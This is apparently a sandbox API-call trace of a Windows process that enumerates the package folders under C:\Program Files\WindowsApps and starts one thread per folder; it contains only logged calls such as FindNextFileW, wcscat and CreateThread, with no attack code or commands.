	[0073.764] wcscat (in: _Dest=0x2d7f310, _Source="Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe"
	[0073.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7f310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc
	[0073.764] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e476601, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.SCA")) returned 1
	[0073.765] wcscmp (_String1="Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.765] wcscmp (_String1="Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.765] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x2d7e6e8
	[0073.765] wcscpy (in: _Dest=0x2d7e6e8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.765] wcscat (in: _Dest=0x2d7e6e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.765] wcscat (in: _Dest=0x2d7e6e8, _Source="Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0073.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7e6e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8
	[0073.765] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2cdd5a7d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.0_N")) returned 1
	[0073.765] wcscmp (_String1="Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.765] wcscmp (_String1="Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.765] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2d7dd50
	[0073.765] wcscpy (in: _Dest=0x2d7dd50, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.766] wcscat (in: _Dest=0x2d7dd50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.766] wcscat (in: _Dest=0x2d7dd50, _Source="Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe"
	[0073.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7dd50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4
	[0073.766] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2ceba882, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe", cAlternateFileName="MICROS~4.0_X")) returned 1
	[0073.766] wcscmp (_String1="Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0073.766] wcscmp (_String1="Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0073.767] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7f3b8
	[0073.767] wcscpy (in: _Dest=0x2d7f3b8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.767] wcscat (in: _Dest=0x2d7f3b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.767] wcscat (in: _Dest=0x2d7f3b8, _Source="Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0073.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7f3b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c0
	[0073.767] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68f377c2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaae3acdd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MIBA67~1.SCA")) returned 1
	[0073.767] wcscmp (_String1="Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.767] wcscmp (_String1="Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.767] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2d6f138
	[0073.767] wcscpy (in: _Dest=0x2d6f138, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.767] wcscat (in: _Dest=0x2d6f138, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.767] wcscat (in: _Dest=0x2d6f138, _Source="Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0073.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d6f138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc
	[0073.768] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68a98ed8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaaebc8e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MICC3B~1.0_N")) returned 1
	[0073.768] wcscmp (_String1="Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.768] wcscmp (_String1="Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.768] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2d7df78
	[0073.768] wcscpy (in: _Dest=0x2d7df78, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.768] wcscat (in: _Dest=0x2d7df78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.768] wcscat (in: _Dest=0x2d7df78, _Source="Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe"
	[0073.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7df78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8
	[0073.769] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaaf17e9e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIBB30~1.0_X")) returned 1
	[0073.772] wcscmp (_String1="Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0073.772] wcscmp (_String1="Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0073.772] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d618f0
	[0073.772] wcscpy (in: _Dest=0x2d618f0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.772] wcscat (in: _Dest=0x2d618f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.773] wcscat (in: _Dest=0x2d618f0, _Source="Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe"
	[0073.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d618f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0
	[0073.773] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd526822a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab021835, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI2247~1.0_N")) returned 1
	[0073.773] wcscmp (_String1="Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.774] wcscmp (_String1="Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.774] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x2d7c7d8
	[0073.774] wcscpy (in: _Dest=0x2d7c7d8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.774] wcscat (in: _Dest=0x2d7c7d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.774] wcscat (in: _Dest=0x2d7c7d8, _Source="Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe"
	[0073.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7c7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac
	[0073.774] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab088494, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIECF5~1.0_X")) returned 1
	[0073.774] wcscmp (_String1="Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0073.774] wcscmp (_String1="Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0073.774] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2d7d790
	[0073.774] wcscpy (in: _Dest=0x2d7d790, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.774] wcscat (in: _Dest=0x2d7d790, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.775] wcscat (in: _Dest=0x2d7d790, _Source="Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe"
	[0073.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7d790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8
	[0073.775] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d296410, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb9355ef2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb9355ef2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MIEB19~1.SCA")) returned 1
	[0073.775] wcscmp (_String1="Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.775] wcscmp (_String1="Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.775] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x2d5c8b0
	[0073.775] wcscpy (in: _Dest=0x2d5c8b0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.775] wcscat (in: _Dest=0x2d5c8b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.775] wcscat (in: _Dest=0x2d5c8b0, _Source="Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0073.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d5c8b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4
	[0073.776] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c531351, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb932fcac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb932fcac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIE745~1.0_X")) returned 1
	[0073.776] wcscmp (_String1="Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0073.776] wcscmp (_String1="Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0073.776] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x4782e48
	[0073.776] wcscpy (in: _Dest=0x4782e48, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.776] wcscat (in: _Dest=0x4782e48, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.776] wcscat (in: _Dest=0x4782e48, _Source="Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe"
	[0073.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4782e48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0
	[0073.777] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c3b24a6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb932fcac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb932fcac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.0_N")) returned 1
	[0073.777] wcscmp (_String1="Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.777] wcscmp (_String1="Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.777] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4782f08
	[0073.777] wcscpy (in: _Dest=0x4782f08, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.777] wcscat (in: _Dest=0x4782f08, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.777] wcscat (in: _Dest=0x4782f08, _Source="Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe"
	[0073.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4782f08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c
	[0073.778] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fe54df6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbad8fd68, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad8fd68, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe", cAlternateFileName="MIAA8F~1.SCA")) returned 1
	[0073.778] wcscmp (_String1="Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.778] wcscmp (_String1="Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.778] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x2d53788
	[0073.778] wcscpy (in: _Dest=0x2d53788, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.778] wcscat (in: _Dest=0x2d53788, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.778] wcscat (in: _Dest=0x2d53788, _Source="Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0073.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d53788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398
	[0073.779] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed19195, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbad4389d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad4389d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MICROS~4.0_N")) returned 1
	[0073.779] wcscmp (_String1="Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.779] wcscmp (_String1="Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.779] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d62130
	[0073.779] wcscpy (in: _Dest=0x2d62130, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.779] wcscat (in: _Dest=0x2d62130, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.779] wcscat (in: _Dest=0x2d62130, _Source="Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe"
	[0073.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d62130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394
	[0073.780] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7eee2de1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbad69af3, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad69af3, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI79E2~1.0_X")) returned 1
	[0073.780] wcscmp (_String1="Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0073.780] wcscmp (_String1="Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0073.780] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x2d7fb98
	[0073.780] wcscpy (in: _Dest=0x2d7fb98, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.780] wcscat (in: _Dest=0x2d7fb98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
